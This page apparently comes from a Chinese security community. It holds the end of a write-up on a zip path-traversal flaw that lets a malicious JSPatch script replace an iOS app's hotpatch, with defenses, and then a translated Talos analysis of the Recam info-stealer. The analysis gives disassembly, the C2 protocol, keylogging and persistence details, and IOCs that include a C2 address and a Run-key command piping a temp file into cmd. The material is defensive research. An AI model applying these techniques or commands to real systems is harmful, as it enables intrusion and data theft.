Unzip”，应用会通过http下载一个zip包到本地，并使用SSZipArchive库进行解压，如果我们采用DNS劫持将正常的zip包替换为恶意的zip包的话，虽然程序会将zip解压到download目录，但是我们成功利用目录穿越漏洞，让patch.js解压到了如下位置：/Library/Caches/download/../hotpatch/patch.js，并成功将正常的patch.js给替换成了恶意的patch.js：
演示DEMO：<https://v.qq.com/x/page/a0655dtirv7.html>
## 0x03 防御方案
最完整的解决方案是对SSZipArchive库进行修补，在解压函数：
+ (BOOL)unzipFileAtPath:(NSString *)path toDestination:(NSString *)destination preserveAttributes:(BOOL)preserveAttributes overwrite:(BOOL)overwrite nestedZipLevel:(NSInteger)nestedZipLevel password:(nullable NSString *)password error:(NSError **)error delegate:(nullable id<SSZipArchiveDelegate>)delegate progressHandler:(void (^_Nullable)(NSString *entry, unz_file_info zipInfo, long entryNumber, long total))progressHandler completionHandler:(void (^_Nullable)(NSString *path, BOOL succeeded, NSError * _Nullable error))completionHandler
中对最终解压的strPath进行检测，如果出现可能造成目录穿越的”../”字符串时进行拦截。
另外，Hotpatch包除了传输过程中要加密外，在本地也需要加密保存，并且运行前做完整性校验。虽然漏洞覆盖某些重要的文件可能会造成拒绝服务攻击，但至少不会造成代码执行。
## 0x04 总结
正如JSPatch的作者bang所讲的：“攻击条件：1.APP用了ZipArchive 2.原APP下发的某个zip包传输过程没加密，zip包也没加密
3.原APP使用了JSPatch或其他执行引擎，且本地脚本没有加密，只要把脚本放指定目录即可执行
4.用户连上第三方wifi遭受攻击。恰好视频中的微博满足这些苛刻条件。危害很小，能被攻击的APP也很少。”
因此，能够造成代码执行的应用可能没有想象中那么多，但黑客依然有可能利用任意文件覆盖的漏洞能力对应用进行攻击，造成意想不到的效果。
0x05 参考资料
<https://zipperdown.org>
<https://github.com/ZipArchive/ZipArchive/issues/453> | 社区文章 |
# Recam终极版：如何一步步脱掉ConfuserEx保护壳（下）
|
##### 译文声明
本文是翻译文章，文章原作者 Holger Unterbrink and Christopher
Marczewski，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[Recam终极版：如何一步步脱掉ConfuserEx保护壳（上）](https://www.anquanke.com/post/id/89730)
> 在本文中，我们介绍了如何解密经过.NET ConfuserEx保护的恶意软件。我们通过Advanced Malware Protection
> （AMP，高级恶意软件防护）感知数据发现了处于活跃期的这款恶意软件。恶意软件借助恶意Word文档来传播，最终会在内存中执行来自Recam恶意软件家族的一个嵌入式载荷（Recam是一款信息窃取恶意软件）。虽然这款恶意软件已活跃数年之久，但出于各种原因，有关该软件内部工作机理的分析文章少之又少。因为恶意软件作者花了许多精力来延缓安全人员对样本的分析研究，使用了包括多层数据加密、字符串混淆、分段置零以及数据缓冲区构造器等技术。这款恶意软件使用了自定义的C2二进制协议，协议本身及相关数据（传输之前）都经过严格加密处理。
## 技术细节
在本篇文章的下部分，将着重介绍恶意载荷部分。
### 恶意载荷
前面提到过，恶意软件作者花了许多精力来阻拦安全人员对样本的分析，使用了多层混淆技术，包括多层数据加密、字符串混淆、分段置零以及数据缓冲区构造器等技术，也使用了自定义的C2二进制通信协议。所有相关数据在传输前都经过严格加密处理。
释放出的程序经过vanilla UPX加壳处理过。这部分很容易解开，棘手的是下一阶段。当原始的OEP（Original Entry
Point）恢复后，程序开始使用一些自制的加密初始化过程来处理某些值，整个运行周期中会经常用到这些值。初始化过程结束后，这些值中大多数保持不变，但有些会随着时间发生改变。随后不久程序会初步解开某些混淆字符串，其中包括一个硬编码在程序中的命令控制（C2）服务器IP地址。
call Recam_string_decode2
mov [esp+12Ch+var_12C], ebx
mov [esp+12Ch+len], 0FFh
mov [esp+12Ch+ciphertext], offset decode2_var_len255
call Recam_string_decode2
mov [esp+12Ch+var_12C], ebx
mov [esp+12Ch+len], 20h
mov [esp+12Ch+ciphertext], offset aPassword ; "Password"
call Recam_string_decode2
mov [esp+12Ch+var_12C], ebx
mov [esp+12Ch+len], 10h
mov [esp+12Ch+ciphertext], offset HostID_plus_rand ; "HostId-%Rand%°å"
call Recam_string_decode2
mov [esp+12Ch+var_12C], ebx
mov [esp+12Ch+len], 8
mov [esp+12Ch+ciphertext], offset mutex_name
这个去混淆函数比较少用，主要是通过单字节XOR（异或）循环完成解码任务。另一个解码函数较为常用，该函数使用JIT（Just-In-Time）技术，依赖于硬编码的一个解码密钥。幸运的是，IDA Pro的Appcall功能可以简化这些解码过程。
图18
这些前导函数结束后，我们会到达条件分支语句。尽管经过大量不必要的代码及计算过程，程序总是会跳转到40849B位置，程序中与文件修改及进程创建的代码仅仅是一些诱饵，实际执行过程中会跳过这些代码。
lea ebx, [esp+83Ch+var_618]
mov [esp+83Ch+lpValueName], 204h
mov [esp+83Ch+uExitCode], offset decode2_unk_len128
mov [esp+83Ch+Mode], ebx
call Recam_getenv
mov [esp+83Ch+uExitCode], 1
call Recam_arg0_AND_constant
test al, al
jz loc_40849B ; jmp taken (skip mangling & proc creation)
Recam_arg0_AND_constant proc near
var_1C= dword ptr -1Ch
arg_0= dword ptr 4
sub esp, 1Ch
mov [esp+1Ch+var_1C], offset flow_constant3
call Recam_base10_to_base16
and eax, [esp+1Ch+arg_0]
cmp eax, [esp+1Ch+arg_0]
setz al
add esp, 1Ch
retn
继续分析，恶意软件会在注册表中设置一个Run表项，达到系统驻留目的。在函数末尾附近，程序会创建一个额外的线程，启动键盘记录器（keylogger）组件，所记录的数据存放在`%APPDATA%Logs`目录中，文件名使用`<日期>-<月份>-<年份>`格式。记录数据以括号作为分隔符，最终数据在将写入磁盘文件之前，程序会先对这些数据做加密处理。
接下来，恶意软件会创建名为`.Identifier`的一个ID文件。如果样本当前目录中已存在这个文件（通过GetModuleFilename这个API获取当前目录），则会直接读取这个文件，不会再次创建。
图19
数据会逐个生成并写入该文件中，格式如下所示：
1、（4字节）静态ID值
2、（13字节）HostId（包含数字字母的6个随机字符，以系统时间为种子）
3、（19字节）19个空（null）字节
4、（19字节）系统时间或者本地时间
5、（13字节）13个空字节
图20
由于用到了一个静态ID，因此文件的前4个字节始终保持一样（但用来加密C2数据的加密方法比这复杂得多）。
图21
图22a
图22b
与`.Identifier`文件一样，初始的C2信令数据长度始终为68个字节。每一个C2消息（客户端及服务端）均使用如下方式：
1、（4字节）数据长度
2、（1字节）C2命令
3、（n字节）与命令对应的具体数据
对于许多恶意软件家族而言，在解密它们所使用的C2信令数据时，解开所使用的指令往往是非常简单的工作。这款工具的开发者选择使用自定义的加密方案，使得每次运行时生成的都是随机化的信令数据（只有长度值及C2命令保持不变），增大加密协议实现方式的复杂度及碎片化程度。
图23
图24
图25
发送信令后，样本会等待服务器的响应数据。我们所分析的C2服务器目前处于离线状态，会重置（reset）连接请求，但我们在沙盒环境中捕捉到了前期的pcap包，从这些包中我们可以猜测出剩余通信数据包的内容。如下所示，这个pcap包中包含信令数据、初始响应数据、一次客户端传输数据以及一系列“保活（keep
alive）”消息（单字节命令）。
图26
此时，代码执行流程取决于某个流状态标签，整个程序中这个标签的值设置了若干次（初始设置为0xFFFFFFFF）。就响应数据长度及C2命令而言，这个标签进一步规定了这些数据中每个属性的具体值。比如，负责检查响应数据长度的函数也会检查流状态标签。如果状态发生改变，函数会检查消息长度是否超过0x30000。如果标签处于默认状态，函数会检查长度值是否为0x41（信令消息及预期响应的长度）。对于命令数据而言，默认状态会检查通信中的信令阶段是否设置了命令字节（0x85）。一旦发生改变，函数会检查命令字节是否小于或等于0xD2。
图27
图28
响应数据及后续数据（如果存在的话）会被送到一个大型跳转表中，跳转表用来检查命令字节，根据服务器发送的指令进一步执行后续动作。
图29
前面提到的那个函数及这个跳转表会再次检查流状态，查看相关参数现在是否等于先前设置的状态值（除0xFFFFFFFF以外）。如果满足这种情况，程序会解密服务器返回的上一个响应数据，解密函数与样本之前加密传输数据所使用的函数为同一个函数。如果处于默认状态，命令字节会传递给LEA（Load
Effective Address，加载有效地址）指令（对应下图中的lea eax, [esi+7Fh]）。这种情况下，由于指令引用了零扩展（zero-extended）的命令字节，因此这里不会使用计算地址，相反，程序会将0x7F加入命令字节中。EAX中存放的是DWORD值，AL存放的是单字节值，程序会将AL存放的值与0x51进行比较，如果两个值相等，则函数处理完毕，不会有其他操作。如果两个值不相等，AL中存放的值会被零扩展到EAX中，乘以4然后传递给跳转表，以确定服务器指定的下一个操作。
图30
从跳转表中可知，服务器可以返回82种命令。然而，这些命令有所重复。比如，下图中高亮标出了一些偏移地址，当没有执行任何操作时，许多跳转地址最终会跳转到同一个地址（RVA
0x227C）。
图31
受时间所限，实际环境中我们无法深入检查每一条跳转路径，但根据沙盒收集到的pcap包，结合我们对命令协议额的理解，我们可以分析服务器发送的命令，自己计算跳转情况。例如，这个Recam变种所具备的部分功能如下所示（前半部分为命令字节）：
0x85（case 4）：处理服务器返回的初始确认消息，设置流状态。
0x81（case 0）：保活消息。
0xBD（case 12）：下载文件至`%TEMP%`目录，或者下载文件至`%TEMP%`目录并创建新线程。
0x87（case 6）：根据参数创建新进程。
0x89（case 8）：关闭网络套接字，释放互斥量，调用WSACleanup，结束进程。
## 总结
恶意软件是个不断变化的目标，会在恶意软件作者及安全研究人员的军备竞赛中不断发展。本文介绍了攻击者为了规避检测而采用的一些复杂技术。
混淆本身就是一门技术。这个技术的覆盖范围非常广泛，包括经常变化的加壳工具以及恶意软件中使用的多种技术。当反混淆工具或报告公之于众后，恶意软件作者通常会去修改他们使用的加壳工具。在很多情况下，他们只需要少量修改混淆工具，就能对抗反混淆工具。因此，恶意软件研究者不能依赖这些工具，在必要时候必须手动来解开混淆代码的真面目。
我们需要了解攻击者用来规避检测及分析的具体方法，这对保护系统免受恶意软件威胁而言至关重要。从本文分析的这个案例中，我们了解到有些工具（如[AMP](https://www.cisco.com/c/en/us/products/security/advanced-malware-protection)以及[Threatgrid](https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html)）能够在高级恶意软件分析中发挥重要作用。
## IOC
**恶意Word文档**
C3b1a98c6bc9709f964ded39b288aff66abc5c39b9662fdd28ddfcc178152d67
**释放器程序**
99371d8da86e964cc52bd719fd85f1f0015e4c60a9705747bb9b8ac52fd29b4a
**攻击载荷（Recam）**
1fd8520246c75702c000f4fac3f209d611c21bfdb81df054c9558d5e002a85ce
**命令控制服务器**
185.140.53.212
**命令控制服务器域名**
U811696.nvpn.so
**域名所有者**
[email protected]
**目录及文件**
%AppData%mozilla firefoxfirefox.exe
%AppData%mozilla firefox.Identifier
%Temp%Update.txt
**注册表项**
表项：HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunUpdate
键值：cmd /c type C:UsersdexAppDataLocalTempUpdate.txt | cmd
**相关文件**
_释放器相关文件_
006583023242bf4a8dcd0190aef32500dcacfacf1dda7b24409133dfccbfd186
0086bb92bd34b41e180bec90dd15d4b0d0eb9c7384a68b66354d603ad8e14706
01226da791e32f8cc907f88b2b672068b78b86b1a0d154bd22274234a7d9b5e6
031046538b60f9b243aa74bdec2a13ab2aee4b941a136daca12de78c3419dd6e
038aa33ab7363ea484efe9c79c718de500acf766266166b6a70e69b0a67c3984
03fe0caa0f3e21f1975bdceaa5e38e00d725879322c8815e7b3b60b1c0cfec20
13010c16d07c00d22ffebd78c7e00ee40678088f3f46292d3fc7e7b299296361
14d341bd2c2b7ea90b3b15fcb8154caa036b629156199d955047fb081de6669d
237ed26f6d9b19ddd2fc368ba871c1df651bf20e21f0f2cf2f1a0d9a885fdfab
2442515adb2cbc03f54b4edce7762e3b4ce0763ad073666cfec5743ff1bc62e2
264ba90eb6e5e38905bb8333830ea0ef86126d06d68a8609efbe18068d0861e8
26a6f02efcda37e1c0d1a66ce57ccfe0fb95bf1ddf9b20106e0d90407cb89d0c
289ab18d2c67c1c2f92829e11761ba3ec3a9088f36993031a002a0dbe7ab08d5
2a1a0356d96f97a4710511a5e023d43124e7e97261154b5e82d6047fd6dc85e1
2b3fe2be93456173aa1d998764284c687ce68db9c5bfc5175ccf475b090809c1
2fbd846efe0cbf9aa0e51da044403f7d96f159ab655bf44ed697062888fd4fbd
30c0f9250fbe8b8eccbf9b195a4803d33b320d20da4252763cd91b5a8c261872
31442c2ed9a803eba0e162616c16907985487f3bfddcfbc4e30e699fc58847e6
3e7aaa364e5d15d974fab62f828a7ab1f14f5c79ceca7e3dd8560f9a863517ad
3fa46682f660e7f0136544ec995657150bd42dd33ef4362bb0c002d25c9327c2
490183ce7288fe6b35f2ad05514cbdc8d212121c661edf570530980634983276
550db43b5965301a33d2bf71760c4e17c7ae249bcbb1f6b0c9173d76774623c4
61788dbc231ec56f115607e6d7b3cfe2962ecdc112bfbd0a8f2ef1e3f145b25b
6ac23f995572bd1b9caf860384abf62921cf6d572e679872314f67038bc076ab
6b965cc215758d529edaff3a2913226823848c47146121855a482059a6e8ee38
6e74c3a1f5bc17f38da7305068f9203943090067b2dfa67fb9361fa1821a674b
7960bc0d2d9422df90216d1b81fb4420c04607c374289ffe10eb9a80e18990cf
7c127f9f22a346d4369405f540c4e467abac02bcf4589dbd6d3e97f18fbe0f98
7dedf655e19430f538faab5638ec76383d651abf5c24ed799e101abb7c9f40b8
99371d8da86e964cc52bd719fd85f1f0015e4c60a9705747bb9b8ac52fd29b4a
9d0671ee5279abd7973a426c60f44723503fd09d4d771092e2453ac4a3e9334c
9dfee20b6e5c57387968da91ec6efd4e0ac8abce219c437a2cd4b5df36f2a79e
a9b4e5cf351bbb3f20fcdcd7cf0b2c03df788c4d0c0d59a31cbab09cccc335d1
c064c70d887ea1ccf37e3edd19dc717b53f2c0513424416fc783654ab9f61134
c13d2ce1b561ed02c02c9a2899a7d7e9c97400ef8f81eb48d6ba02a90d76c689
c2fef90a5ad97a030712b9245fccffb26f226370bd6f67c989bbf95e02ca03b8
c8d98b7f1cf8811c3e75b0ec8c1011d0ed4c3951420f04e3b743da564869e02b
cdd98208665360ca7745a1e5577e1e9607c49ac8790ffde2edd93e2c64ead8a1
d7d94b3aea52f0a9bda593806d56f962c09f4d389820cd9016ceed73767feb55
df46d34c0ff71d994f157cfe158ae7dba9dbf16ffb021a10e401bc9afb2f4e8d
e20c3b8e3460f719219cb4ddac61231db047c125818a391d34d87dab1726f070
e3704aa7bfb90e8e7f96aa529cbd96319696157cda076d92bab9eae07cfe977e
e8a4a890d34b328857389d48d837fcf4b9ab4774a29bcc582b4cdf05ac3a49db
f7ac275c2971820fb311f41049c5e460251486625696caa0fc60d0ffc683fb70
fc0bd596957f70e87954ef42acc0bfe0123c11be6879c7c910a4a7e434e36c46
_RTF文档相关文件_
27bf1851e64f5e6d6e33b2b3bc89b82dda2da2fd9a747c847c148909dda028d3
7a63150ebd09fd4f8c8f1b7485a0139108f22aea043c9759239d9976948b5c75
a27ebd73ac836d659512befe4fee57f9343eca992448242b1ab40730506a747c
ac2e9c83c7e23514c196b14e49f93345bfed2ed8fc10343c21d358ec3e809928
6f3a8557e2c95a717cb48080042293045011e74f2a4c79aaeffbfcc86456eb37
5a234b3e389a22b70da242b1c93d65f358d60f1347b03101f7613fa1db032645
660a6197a032cd2baf35df713575f16b71ebdcda67b89deb1afc45f2b986490a
7c7d00e12273fe924a9dc945add40c91692b8e468682240cf241a418d3ce198f
1d604531fd15a7476296612cbfcfa4761148a61d54f44351d97b5feb1bb293e4
46907300ed93309f083181489bf68ef8f357b1a583bda501b3ab5249f55778ad
6fed760b5eefd70dddef34daaf678f3d999a91c0f638c8afbe844dd8097c4bc8
f231bca66d0d8b241dfbd49630602405297c18cbe108b609f420ff6e9c987e7e
d3de3093b173746fd5cf892e32caafabb898616766953ccad2b6a303930731d4
662f7b3816dd59c5f1988c9d7b5b62b61b94028fa513ddfe0c00e21a79367883
b9d38a08e7b888940ad0bafb6032dfe45d4b6cab2f09a734f46d05d718eda57e
1fd682146e278a76b216215ba9bc8040f9fc4e817f0676ccbfd46ccc13ca95d4
135db94b1b75fbeccf2e28abf568e3384e14dc452e5f638cdb1cb533794d2bca
51e1da451e38159e73bf185f627fedf63aca03734e95f88dfbf85536eb6bef9a
18ba9d4175c48148d4dfa7d022a687e4c63da18337fd86a3f48efd5afa5cfcde
4f6dd728633bba78841da6fce1ce9a3e8673830588bd51e2bfd283e2afcb0ecb
6943484dad1a3246a82b1a9444811e0f4c561770291dd936a1f1a5314e13fda9
53c325566fc88c8355478e001445da54debb009c60581e2e6c3345f10c4f65f0
a546965c6a46e9f19c374b1195ba0924c0a6d462a9d37210527d1f2801719932
2752ed543f880807557ba9556838e4ef6a1582ea50351fc2723e4d63f4f57ad9
771f02d96d7eb5b4e8b719e3d9848482220a27ca0704c0a156c613348e3a64bd
8ecb075bba3f583d350e136b9df81d2a773f26174a014c59f26915eca785dc4a
57e31a5ea3b7fa86cf8b1b257cf91e5e499e633b17d2a9bff388beba2fd101d7
41015210e0faac0825b1c51dde385d390bc7cba7b4c45a534688d58cea5d0d58
2c69630f2fc87ff69cd7644e312b484c118b7d447985c655ba772954085c8f33
8481f95d09058d24f4a764223c128bd38e430aa9211f135e684744cc3bbc1b6c
42b1093ebfd76a869f8a50e7529348f6a5b9d8b85c0d6b2b90d243a32e35baea
3ee302f650b87c151bb6e91d2b3ff38ab49b1e4ad30f6f18224d8236d9784ad7
2a8410b31c50f966704f0abb5a976f0faf59604116c4a4908992b33bb9dc4e19
05ce4c14144b9935de8d30dee60dfaa513bebdccb35099c8892ece10c86f0a6d
5885ea86add67e7a149634e8c9ae4da63e35b431c5210256a570b56387ee1f8a
5daba9df4ce8d4e7bc3e5bb6dc43dac7034185a218e53a261f814d6398eabadd
e5666e76d755a8c1e0430860677dbb1991c9025b99318e42dabefc09f276b91e
5df14265d5ce37ae0dc0dcb332c42b7331cdc305fc1b265b767bb96d6e6d93cf
180734591883412d5ad4db3f768b59e7e918fcc987915fb130e72077a27f15a0
aa3f5e91fb4f447bfff93123c404a62b8ebe2a9790ebbd02c57f5ab61d2d2882
70ebcc2aa157230051490f5480d49dcef22ad8c26be1307ad8eab63bd4233c40
a2139efcf459ad80e6ffe1e3e346d18c466dd4a0c1e9973771e3c674abd56456
98b4862bba7bda1169bc8a3f4726c0033b0a02f9d4d934265c56307c8a9cae11
944f1bd37c0b223d45b1f33f1b5cb77bee2eb720ac2d17b1098ad770d85083a5
aed64804a5191a6c119cba1f81ad5f09260bac0f8642d1f0101da73e8a7b3329
e338747a4f62d1826ee92cf74ae3161bb817a19eefec7902f4f334c43bf94399
888f9c76d26cdfa7340779a015d95785253cf14a1a850fe79ec64a6a24b1deac
26092c74ff3ad634577f5b890fbdc911b8813b337b77aa5db5132b5d3a51990d
810afd3bee3016d443536163cffdb7819cdabbf69b16fffc9108f9747d6314a8
5062a698879870e73250973e45cadcaade05a314f4f17fb17f14f82007bd6b1b
f4ecc8fc573401cbd54022d91fe1fe4575d16fe899aa7e30fcc7c17cd8b66ade
5f485d6c9b210bdb7a7dc4987a3bef3c180cff3a389229853987818673032823
9cb7191e87fc0efe04f38e8881dd09367c267a5abf0fac51f54d89b6fe1c74e3
2da4433c077bc5b7a9bb74e89b77e2f441e6f3faca86f1b33ec62745f9d1c119
31e1bf4c259b09f9a0af1d25e1978fb1cb0aff4dd3ed19c40654b2cf0fc7baa7
b05d350a806200a7d98386b0955e778f5cde98d1c0b29ae94245731b811983c3
678fa6d2731f25e7529ead56c1274b40a15275fa8df95004e3c8fa8fb4f87985
3d4324f0e9eb827b180b8c406c7893a57524cb9c943d0cf51851277c55fa137b
ff9403de6d602fdfbce67c39929425a6ddf1702f8ccb5f73a45590f41ec9b298
75ded8ff160d4a4cb1a15617ba82c2fd979f4c6de068ad3c1628c3fa96ccb06e
c167a67bf9f07204a6d4f15848d40c152138d56d1e105cf851dda74049ef4e02
d873d716210c4c3eb86d2e27c72ec5b083b29a3ceaa0e71e0a784aac74667670
9299804183d38a89f7790527b21acbc958c40dd09b09c40fe19c4629cdeaacf0
b9b5adb3b3918e9652b73d06e2ea98370a48c3a58ef86405f56c47771cc21af4
f982fb8ef63466c16cdc5c8d107770f986e4b28c476edf5d848a600e2f4320fa
202e364f3b50fd785831515c6991f5db2c03923890785788c15c04e8128b4e12
4789ee4e6c8490b31fa68b40dc134d29baae0872dd1fda04a28d62f8455fcf2e
167594296c9be12c0aa8f9ab40e83409361ba0e4eb8044fe3276d0c927fcd3c7
90d293195bf573c14d39eac6aa6e0786b3282bbd3f4bff850b7dedb7eebb6049
ecee734d28bf51f199efea4d27e42865fdafe0d880ba6b9ed846a502050d8e20
7cdcb22b02294c4d981c161e6f527b9a4b9e0ec8a63778f0f9ba4b0d86daac2a
84684f264b035865a26dca9631f0bb0d88597daaed3cfe1bb69c6c81892cb20f
b89ebe23b4d2d47885c7431ddb1ffd084e1537c59585fb29a825a06581af0dea
bbe8d4f57f896b96cb2f1c147afdf4bd50277d436bb68c03216547bdc9d88b7a
603c5d3dffc0ecfb898bbab51130b7b1c95c95c0dba8691873eed5a21ef8a052
2f8141c3517394dfd818bd9ae762332a9454c8ae12b815de7eb73851a47d9b83
17db38e774338602058f883997841aa4ca2e647b605768b9a5dbdd89ac252d5e
e83f5d93e97625407ed4529e05f6e6116cbd183177e3ba65f2acd8e81f07bf36
bf38e39eb1dc78c4b854546f8e212527aeb8990e7fff3d63f49b8c15846d19b0
3823a6914e7fa21764df33c51efb307a53385bc4692d167af5220e7ec7425235
c8e01564f14c5677db7c0e264cd2b125952edee26731b42d280d476b3c191a56
88a58c8848ab67c3552acac7250fb8408c06c398e6dd79df8437e064b209023b
9068cb2c0257b905d8079bcb40033fc58e832e7c0d2d687a1d942542443634a0
ca2ce6f6cf845e5b17934c3a5a0f43ef860fb5ed67ec771f293baf4d9938cc50
3963c2ebbcbb893f2695e90249dcb6ebc546a0fbd0ba126d398d9774071262b1
ca270cae900efb83979e0aa2f997876aaab68714c242ab131b5a0929ca661ea8
1f262c5c54bbb0f6622fb8b5ca806d8544cac3fe6184d300c8f28074e180b9f7
9923f18495de93f7c957fe991f0dd3b185c8c7660b9ef93f9a83ebd4bc31cc1a
d451a59c8900f7e9fbd535d1a3bba645d2f7bce4bf95df73fbca72755602325b
147fd5fb0f771d22f38f33d217be393358c3e3b6452b3064922acdb1f160e164
ce0e5fb3022a01bb6ff24d9430e599eb50cf670e6f3d6c3e96adb448774e510f
eb8973d6ad89e13c5f87e14c5cfc897d5d44436891dc9ed651388334041a5f31
47883497485f0f841395071590f9bef0e13a6d2859a511002cb2a3060c128c02
e6bf577e20cf0834f2b7ab050f81e475ad41cd1580f53dd040e919b58bf57ccb
33bd585673e1c40499e7702bdf04d6326ef440da297611301c190ac508c107f1
2433294309a1c514ce9733b0ee8b0ad4ce807d4f93c0df17a2370168577e10c4
b710e3f9bf878c2c7940bba099ae0fc8363a5446f6c9a2428f5fb6fef39cd814
449f09003bc890df9bf5cc8885eb1e278a724eb3872bbf95fbabb504aacc9ca4
77e77ebd338d1829ac00047f4c64fe84443699290f67ac0ebe01697b38b6d439
ae8404e4404174a6fab8477b27e60d49a19b72ee623ef60e37b391812682944c
ff68a536f40f20c0bca80d30077949a9b69f37b5bbc4bf32eeb0e36803a1cce7
723b22279a368ab7e1db69352ecd4e4524f3d062a30a3dbeb4101d3ed681002f
a40f324c032f9af3a0a26be7d21655f75381058bdbd7ec49f6cf9fa6ec01074d
_载荷相关文件_
08433debdfd2e520ac5d2f0ec922f84020e8f4beb711fff868e607f06f40e133
0a6be4d49ec1c9fa2e4d0f097d3808802117836effe1f4087cb9743a88695bc0
104024e27738377f05a24aa493561d9ebc9d38d462fedd0d888830cbaae670e0
155033e85069c716c3819c5e81fa876ad0c4269d911f3832c4cc61dd45bc2aa7
15a6a46e678ecf4d5d9a9d9d75eb12aa33d55611ed8cb555079315e4b9e22553
16e6b6bd449f4ffb634df45808adaf78456c91b53bee79b8b8b7bff1ed3d4b50
191a3d8104ad83ac76cb36014021f2c7ab81b74ae15eae59d799bdc0f4798951
1f3a5878104747d51c08d75ef0c7eb644859ea01e46246d97c278292d4251960
20208b337e4f0a418a0e3329f7f863700538bed1a50ca720db05e7f0f9ad8c4e
2258fd874969f13c8b6b62db03c5db12df9848bceb2e0fc6654690b691956889
22e249f2d2bef1632aa61d6f07909eeeda706670e5d89f11aa8c3bb89bc92f16
234add1226f0ce30f83f72afa1067329ac22b20759c5333c404926775f298119
281729d8c1131999a6ac0f784a5f0ba45ca83149406bcbbf06f866f446d88ce2
2a917a89e324402b23e084820fcfec8c3e98e4a1124be1f29323e1694b5755d6
2eebd42599746cf252f08338f81ed3df9e975342c12e13ca8c70fafa4c4dc83b
2f4a6936dafd89cef6b8ba828e90439daa81a2a898c2da0767bec6b51cdaf11a
2fb2b9863d534f9436e438f86275ea1e0c4741fb8fa5d9aa7311cc025f78f30a
300f8301f23487e2433002999f1acbc804f4f684f6403e3a4c65f4e5979540e5
304b15d20b64622250cf0d0954f3c887a059c4c98642b3fd6b3e3eb94b07546a
344d063a2ce0b614cd073725b9b9a018c8706b6b9f380800506eadd80e92bd7a
3738bbfd8ab9a37a5ad5bff41f4fabfc3a7ad0f4085a5290b83c1fc7ee3723b4
37907c564942af4f1b235ec8592b60f7286de2e67206506733955c8a70ae5d7b
39675f4f6648317e322593cb654094e548bf2735df063537ee896037e946d451
396f61528c9b25144b89cb20e5668daa965489311bb8a00b7a6244feb0b79190
3cc77f145194653036c846505fd26563f3a1fac0cc2d3fd5123701685e84b28e
3cf115056782e777dbfa2b6393ab1463547401c8bb2d59ab89455bf77305ea98
3d825d79bda177aadb305d8c6822bb97f7fe2ee451e5257e85bad42e99535606
40e90e30cee9c1726154b6678221fead406b94bc3259ba8386ab438cd5ebb250
41475ce4186414fbbb8589f29d5f7001bb286167e77324ce4da719acb21f4dea
42a4cd926419aa35a4b17264d190256b9cb52cdfc33c943e68e578566ceae334
43024e16cbd0ef8ef160355e051477a3b31018c9dbe0afb8cac06576f57deca9
43b361398583c3c0ce75429a84b30ff10e047e757223eb433414a99d35160a0d
45c375bfea191f576e2a5deaaacc8e695d2d7868ae5b87859411dc5438240212
4976a6ad02ff39f568cb9cd7a1ebdea8c381b8f9600909c273f7f53436dd0f05
4a1d7a0688318d216c3b3c9883b7e35c4ff2bcc9cd7ecf63486e622339bf5059
4c959c764c3bc7d5141cd002c261382b95db1d22c371071409c08d771bb5e413
4cfac44cf32a5c067383d815997f7d474af97bb82ebbfa25d909f86a1081eabd
51b4cdf23ea83bf87d741e92522c6f6670b98cc0b2b13bb41b7cb24afba959b7
53546e823073cbda154c74b6e511556cb17db067f2a2e746693c2d1c7f1f7eda
556f0b284c63cc884661c583726ddc5bdec2e679f53e2b3bb52233b1750d78aa
5934d3620e3d2905cba1cc431e8040f00ca0b763c8a38a6fbb1121e9c4c25cf6
593516e03212b03296720bd0a1f09221e156c19067d713b723fe57a81d3d5faf
5c9154974d5daaf850614fc660e1e9864f9df8f4d7e0ce68ca3e00b3e15d4e58
5ce46c27795fb25bea268f233f89be52336e344737e059bb21f3daa9815eda96
5cf4effade63cf1aa9a3cc6909bcf2e16867ce8db60e7f20a9d08dd4a5c59bfc
5deeb0fd202427f5763562bc80672096884655b834e219d527ab200f2ba5f01b
62387f4d55f15ea72c8d7f5d2ab1bd4029d895fe3f22d95980291b2595a658e6
63c0153b2deff5a9286db1bbf41c327d55e4afeb938472b04f5f2e5367a1418f
64f2e9c68908a7ce978ddeb17b661e787f1464ae706eb1ff1ce006cafe81e07e
6c8eadfcecafdebccc737420d83c1f8493d12fcbecf13198aff88c10017316fc
713a536264bff75649da55d367804c47333c55ed326be5ff73384fc3f2e87977
72adc4612c53415a4b924acff7f8f400d1f20f5eb7d02f5e2d12488db168fd9d
73afba6db12fda23caf12b2e71310631abbe6b9467636d8343ddb3674a49f527
771000d6307e4372f2f51b6958e8b7e7a35ee34e9f9fb636b77559534a9fc1ce
789481741e0df019d839bf61181b5cdd085b2334123be58a4b64c12fa7bd6193
7e53b73cca7189e97e46de3e6e056edcb98b1aec6c2c338e043b8732ae46580e
806f0d040303841e913e0a2a3ac96ce4427c269dafe6f135b1b64f5d9ba3d740
8263655df987bd6c2bf8087e6b8759a360482757cd28a1d7e1742f652fb6bfc5
8321a2104d185e9ddeb7f19c15bfc92ec4fe7fba67ba5a167270706fdb90e6bb
85007ecdc6baec70a7e259395066c96fb7ddafd1be8a84244c92a7dc52a003e4
87ae17f03b47f54fd9f2a3cf9f3e1e4d5cdfa6592bec4a05214c30756599a3ef
8af2013a53c58346f9d558155691d9d736b253a6b179a40fc9e167cfee025dba
8b42ef0774a9eb367ad36d51e990ca5bcc2708c33380dbaeeeffb29e113656b6
8c9c9a4689a4b0319a32f32ded1e97dce3185d1d91fb3338b38081d28ccfb80c
8f256697f2c7c5c19671c5ffec1b7458a609efbfa3c54b0aa83d71c524afb3b4
903b5ca6aace73bc14ea9a22c900772078f063cccd9c144de6236513184d07b8
9172fef013aca4eeef4bc4abfe0a283f89acaa58c6fb61a654eb66fe60bfb42b
942d5bebedebee78c19d4dfce09c2a8e69c94ed77d55e7f16db3e0dd8f179f9b
94948ea1285abe593df349b24340cf176726e92b0e20b35a3d9668de43b856dc
94ef90e1cf5286566afb6ff7204b2045f5cc44d895f4e1ed3691b61ffd961bfa
9510899b01066f15d622a79611c3b1f3444559ccc483aad04f52ef3ed0c0e955
9751f750493d38ee62c7139cbc4ee4191ca6c7f9a6ba629468f33d8c653cf660
989a36bca1548dc37bbe8c9716e69d789cc1eece69dc0b3c1ffccbf01764a0e5
9b7442f32111a4acff0f85a4c38b79dd756f2dae3b73545ee53a4c000aba8b1f
9e56b2771f3bfc3003183d0cda39821c2d1d8f427ea521ba0cbce0bf69734005
